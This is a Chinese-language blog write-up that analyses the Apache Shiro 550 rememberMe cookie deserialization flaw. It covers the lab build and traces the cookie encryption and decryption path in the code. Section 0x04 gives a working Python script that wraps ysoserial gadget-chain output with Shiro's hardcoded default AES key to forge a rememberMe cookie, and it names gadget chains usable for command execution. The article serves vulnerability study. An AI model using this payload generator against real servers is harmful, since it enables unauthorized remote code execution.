Java安全之Shiro 550反序列化漏洞分析
首發自安全客:Java安全之Shiro 550反序列化漏洞分析
0x00 前言
在近些時間基本都能在一些滲透或者是攻防演練中看到Shiro的身影,也是Shiro的該漏洞也是用的比較頻繁的漏洞。本文對該Shiro550 反序列化漏洞進行一個分析,瞭解漏洞產生過程以及利用方式。
0x01 漏洞原理
Shiro 550 反序列化漏洞存在版本:shiro <1.2.4,產生原因是因為shiro接受了Cookie裡面rememberMe
的值,然後去進行Base64解密後,再使用aes金鑰解密後的資料,進行反序列化。
反過來思考一下,如果我們構造該值為一個cc鏈序列化後的值進行該金鑰aes加密後進行base64加密,那麼這時候就會去進行反序列化我們的payload內容,這時候就可以達到一個命令執行的效果。
獲取rememberMe值 -> Base64解密 -> AES解密 -> 呼叫readobject反序列化操作
0x02 漏洞環境搭建
漏洞環境:https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4
開啟shiro/web目錄,對pom.xml進行配置依賴配置一個cc4和jstl元件進來,後面再去說為什麼shiro自帶了commons-collections:3.2.1
還要去手工配置一個commons-collections:4.0
。
<properties>
<maven.compiler.source>1.6</maven.compiler.source>
<maven.compiler.target>1.6</maven.compiler.target>
</properties>
...
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<!-- 這裡需要將jstl設定為1.2 -->
<version>1.2</version>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
坑點
Shiro的編譯太痛苦了,各種坑,下面來排一下坑。
配置maven\conf\toolchains.xml
,這裡需要指定JDK1.6的路徑和版本,編譯必須要1.6版本,但不影響在其他版本下執行。
<?xml version="1.0" encoding="UTF-8"?>
<toolchains xmlns="http://maven.apache.org/TOOLCHAINS/1.1.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/TOOLCHAINS/1.1.0 http://maven.apache.org/xsd/toolchains-1.1.0.xsd">
<toolchain>
<type>jdk</type>
<provides>
<version>1.6</version>
<vendor>sun</vendor>
</provides>
<configuration>
<jdkHome>D:\JAVA_JDK\jdk1.6</jdkHome>
</configuration>
</toolchain>
</toolchains>
這些都完成後進行編譯。
Failed to execute goal org.apache.maven.plugins:maven-compiler-plugin:2.0.2:testCompile (default-testCompile) on project samples-web: Compilation failure
這裡還是報錯了。
後面編譯的時候,切換成了maven3.1.1的版本。然後就可以編譯成功了。
但是後面又發現部署的時候訪問不到,編譯肯定又出了問題。
後面把這兩個裡面的<scope>
標籤給註釋掉,然後就可以了。
把pom.xml配置貼一下。
<?xml version="1.0" encoding="UTF-8"?>
<!--
~ Licensed to the Apache Software Foundation (ASF) under one
~ or more contributor license agreements. See the NOTICE file
~ distributed with this work for additional information
~ regarding copyright ownership. The ASF licenses this file
~ to you under the Apache License, Version 2.0 (the
~ "License"); you may not use this file except in compliance
~ with the License. You may obtain a copy of the License at
~
~ http://www.apache.org/licenses/LICENSE-2.0
~
~ Unless required by applicable law or agreed to in writing,
~ software distributed under the License is distributed on an
~ "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
~ KIND, either express or implied. See the License for the
~ specific language governing permissions and limitations
~ under the License.
-->
<!--suppress osmorcNonOsgiMavenDependency -->
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<properties>
<maven.compiler.source>1.6</maven.compiler.source>
<maven.compiler.target>1.6</maven.compiler.target>
</properties>
<parent>
<groupId>org.apache.shiro.samples</groupId>
<artifactId>shiro-samples</artifactId>
<version>1.2.4</version>
<relativePath>../pom.xml</relativePath>
</parent>
<modelVersion>4.0.0</modelVersion>
<artifactId>samples-web</artifactId>
<name>Apache Shiro :: Samples :: Web</name>
<packaging>war</packaging>
<build>
<plugins>
<plugin>
<artifactId>maven-surefire-plugin</artifactId>
<configuration>
<forkMode>never</forkMode>
</configuration>
</plugin>
<plugin>
<groupId>org.mortbay.jetty</groupId>
<artifactId>maven-jetty-plugin</artifactId>
<version>${jetty.version}</version>
<configuration>
<contextPath>/</contextPath>
<connectors>
<connector implementation="org.mortbay.jetty.nio.SelectChannelConnector">
<port>9080</port>
<maxIdleTime>60000</maxIdleTime>
</connector>
</connectors>
<requestLog implementation="org.mortbay.jetty.NCSARequestLog">
<filename>./target/yyyy_mm_dd.request.log</filename>
<retainDays>90</retainDays>
<append>true</append>
<extended>false</extended>
<logTimeZone>GMT</logTimeZone>
</requestLog>
</configuration>
</plugin>
</plugins>
</build>
<dependencies>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>servlet-api</artifactId>
<!-- <scope>provided</scope>-->
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-log4j12</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>log4j</groupId>
<artifactId>log4j</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>net.sourceforge.htmlunit</groupId>
<artifactId>htmlunit</artifactId>
<version>2.6</version>
<!-- <scope>test</scope>-->
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-web</artifactId>
</dependency>
<dependency>
<groupId>org.mortbay.jetty</groupId>
<artifactId>jetty</artifactId>
<version>${jetty.version}</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.mortbay.jetty</groupId>
<artifactId>jsp-2.1-jetty</artifactId>
<version>${jetty.version}</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>jcl-over-slf4j</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<!-- 這裡需要將jstl設定為1.2 -->
<version>1.2</version>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies>
</project>
經過2天的排坑,終於把這個坑給解決掉,這裡必須貼幾張照片慶祝慶祝。
輸入賬號密碼,勾選Remerber me選項。進行抓包
下面就可以來分析該漏洞了。
0x03 漏洞分析
加密
漏洞產生點在CookieRememberMeManager
該位置,來看到rememberSerializedIdentity
方法。
該方法的作用為使用Base64對指定的序列化位元組陣列進行編碼,並將Base64編碼的字串設定為cookie值。
那麼我們就去檢視一下該方法在什麼地方被呼叫。
在這可以看到該類繼承的AbstractRememberMeManager
類呼叫了該方法。跟進進去檢視
發現這個方法被rememberIdentity
方法給呼叫了,同樣方式繼續跟進。
在這裡會發現rememberIdentity
方法會被onSuccessfulLogin
方法給呼叫,跟蹤到這一步,就看到了onSuccessfulLogin
登入成功的方法。
當登入成功後會呼叫AbstractRememberMeManager.onSuccessfulLogin
方法,該方法主要實現了生成加密的RememberMe Cookie
,然後將RememberMe Cookie
設定為使用者的Cookie值。在前面我們分析的rememberSerializedIdentity
方法裡面去實現了。可以來看一下這段程式碼。
回到onSuccessfulLogin
這個地方,打個斷點,然後web登入頁面輸入root/secret 口令進行提交,再回到IDEA中檢視。找到登入成功方法後,我們可以來正向去做個分析,不然剛剛的方式比較麻煩。
這裡看到呼叫了isRememberMe
很顯而易見得發現這個就是一個判斷使用者是否選擇了Remember Me
選項。
如果選擇Remember Me
功能的話返回true,如果不選擇該選項則是呼叫log.debug方法在控制檯輸出一段字元。
這裡如果為true的話就會呼叫rememberIdentity
方法並且傳入三個引數。F7跟進該方法。
前面說過該方法會去生成一個PrincipalCollection
物件,裡面包含登入資訊。F7進行跟進rememberIdentity
方法。
檢視convertPrincipalsToBytes
具體的實現與作用。
跟進該方法檢視具體實現。
看到這裡其實已經很清晰了,進行了一個序列化,然後返回序列化後的Byte陣列。
再來看到下一段程式碼,這裡如果getCipherService
方法不為空的話,就會去執行下一段程式碼。getCipherService
方法是獲取加密模式。
還是繼續跟進檢視。
檢視呼叫,會發現在構造方法裡面對該值進行定義。
完成這一步後,就來到了這裡。
呼叫encrypt
方法,對序列化後的資料進行處理。繼續跟進。
這裡呼叫cipherService.encrypt
方法並且傳入序列化資料,和getEncryptionCipherKey
方法。
getEncryptionCipherKey
從名字上來看是獲取金鑰的方法,檢視一下,是怎麼獲取金鑰的。
檢視呼叫的時候,發現setCipherKey
方法在構造方法裡面被呼叫了。
檢視DEFAULT_CIPHER_KEY_BYTES
值會發現裡面定義了一串金鑰
而這個金鑰是定義死的。
返回剛剛的加密的地方。
這個地方選擇跟進,檢視具體實現。
檢視到這裡發現會傳入前面序列化的陣列和key值,最後再去呼叫他的過載方法並且傳入序列化陣列、key、ivBytes值、generate。
iv的值由generateInitializationVector
方法生成,進行跟進。
檢視getDefaultSecureRandom
方法實現。
返回generateInitializationVector
方法繼續檢視。這個new了一個byte陣列長度為16
最後得到這個ivBytes值進行返回。
這裡執行完成後就拿到了ivBytes的值了,這裡再回到加密方法的地方檢視具體加密的實現。
這裡呼叫crypt方法進行獲取到加密後的資料,而這個output是一個byte陣列,大小是加密後資料的長度加上iv這個值的長度。
iv 的小tips
- 某些加密演算法要求明文需要按一定長度對齊,叫做塊大小(BlockSize),我們這次就是16位元組,那麼對於一段任意的資料,加密前需要對最後一個塊填充到16 位元組,解密後需要刪除掉填充的資料。
- AES中有三種填充模式(PKCS7Padding/PKCS5Padding/ZeroPadding)
- PKCS7Padding跟PKCS5Padding的區別就在於資料填充方式,PKCS7Padding是缺幾個位元組就補幾個位元組的0,而PKCS5Padding是缺幾個位元組就補充幾個位元組的幾,好比缺6個位元組,就補充6個位元組
不瞭解加密演算法的可以看Java安全之安全加密演算法
在執行完成後序列化的資料已經被進行了AES加密,返回一個byte陣列。
執行完成後,來到這一步,然後進行跟進。
到了這裡其實就沒啥好說的了。後面的步驟就是進行base64加密後設定為使用者的Cookie的rememberMe欄位中。
解密
由於我們並不知道哪個方法裡面去實現這麼一個功能。但是我們前面分析加密的時候,呼叫了AbstractRememberMeManager.encrypt
進行加密,該類中也有對應的解密操作。那麼在這裡就可以來檢視該方法具體會在哪裡被呼叫到,就可以追溯到上層去,然後進行下斷點。
檢視 getRememberedPrincipals
方法在此處下斷點
跟蹤
返回getRememberedPrincipals
方法。
在下面呼叫了convertBytesToPrincipals
方法,進行跟蹤。
檢視decrypt
方法具體實現。
和前面的加密步驟類似,這裡不做詳細講解。
生成iv值,然後傳入到他的過載方法裡面。
到了這裡執行完後,就進行了AES的解密完成。
還是回到這一步。
這裡返回了deserialize
方法的返回值,並且傳入AES加密後的資料。
進行跟蹤該方法。
繼續跟蹤。
到了這步,就會對我們傳入進來的AES解密後的資料進行呼叫readObject
方法進行反序列化操作。
0x04 漏洞攻擊
漏洞探測
現在已經知道了是因為獲取rememberMe值,然後進行解密後再進行反序列化操作。
那麼在這裡如果拿到了金鑰就可以偽造加密流程。
網上找的一個加密的指令碼
# -*-* coding:utf-8
# @Time : 2020/10/16 17:36
# @Author : nice0e3
# @FileName: poc.py
# @Software: PyCharm
# @Blog :https://www.cnblogs.com/nice0e3/
import base64
import uuid
import subprocess
from Crypto.Cipher import AES
def rememberme(command):
# popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE)
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'URLDNS', command],
stdout=subprocess.PIPE)
# popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
# payload = encode_rememberme('127.0.0.1:12345')
# payload = rememberme('calc.exe')
payload = rememberme('http://u89cy6.dnslog.cn')
with open("./payload.cookie", "w") as fpw:
print("rememberMe={}".format(payload.decode()))
res = "rememberMe={}".format(payload.decode())
fpw.write(res)
獲取到值後加密後的payload後可以在burp上面進行手工傳送測試一下。
傳送完成後,就可以看到DNSLOG平臺上面回顯了。
當使用URLDNS鏈的打過去,在DNSLOG平臺有回顯的時候,就說明這個地方存在反序列化漏洞。
但是要利用的話還得是使用CC鏈等利用鏈去進行命令的執行。
漏洞利用
前面我們手動給shio配上cc4的元件,而shiro中自帶的是cc3.2.1版本的元件,為什麼要手工去配置呢?
其實shiro中重寫了ObjectInputStream
類的resolveClass
函式,ObjectInputStream
的resolveClass
方法用的是Class.forName
類獲取當前描述器所指代的類的Class物件。而重寫後的resolveClass
方法,採用的是ClassUtils.forName
。檢視該方法
public static Class forName(String fqcn) throws UnknownClassException {
Class clazz = THREAD_CL_ACCESSOR.loadClass(fqcn);
if (clazz == null) {
if (log.isTraceEnabled()) {
log.trace("Unable to load class named [" + fqcn + "] from the thread context ClassLoader. Trying the current ClassLoader...");
}
clazz = CLASS_CL_ACCESSOR.loadClass(fqcn);
}
if (clazz == null) {
if (log.isTraceEnabled()) {
log.trace("Unable to load class named [" + fqcn + "] from the current ClassLoader. " + "Trying the system/application ClassLoader...");
}
clazz = SYSTEM_CL_ACCESSOR.loadClass(fqcn);
}
if (clazz == null) {
String msg = "Unable to load class named [" + fqcn + "] from the thread context, current, or " + "system/application ClassLoaders. All heuristics have been exhausted. Class could not be found.";
throw new UnknownClassException(msg);
} else {
return clazz;
}
}
在傳參的地方如果傳入一個Transform
陣列的引數,會報錯。
後者並不支援傳入陣列型別。
resovleClass使用的是ClassLoader.loadClass()而非Class.forName(),而ClassLoader.loadClass不支援裝載陣列型別的class
那麼在這裡可以使用cc2和cc4的利用鏈去進行命令執行,因為這兩個都是基於javassist去實現的,而不是基於Transform
陣列。具體的可以看前面我的分析利用鏈文章。
除了這兩個其實在部署的時候,可以發現元件當中自帶了一個CommonsBeanutils的元件,這個元件也是有利用鏈的。可以使用CommonsBeanutils這條利用鏈進行命令執行。
那麼除了這些方式就沒有了嘛?假設沒有cc4的元件,就一定執行不了命令了嘛?其實方式還是有的。wh1t3p1g師傅在文章中已經給出瞭解決方案。需要重新去特殊構造一下利用鏈。
參考文章
https://www.anquanke.com/post/id/192619#h2-4
https://payloads.info/2020/06/23/Java%E5%AE%89%E5%85%A8-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%AF%87-Shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/#Commons-beanutils
https://zeo.cool/2020/09/03/Shiro%20550%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%20%E8%AF%A6%E7%BB%86%E5%88%86%E6%9E%90+poc%E7%BC%96%E5%86%99/#%E5%9D%91%E7%82%B9%EF%BC%9A
0x05 結尾
在該漏洞中我覺得主要的難點在於環境搭建上費了不少時間,還有的就是關於shiro中大部分利用鏈沒法使用的解決。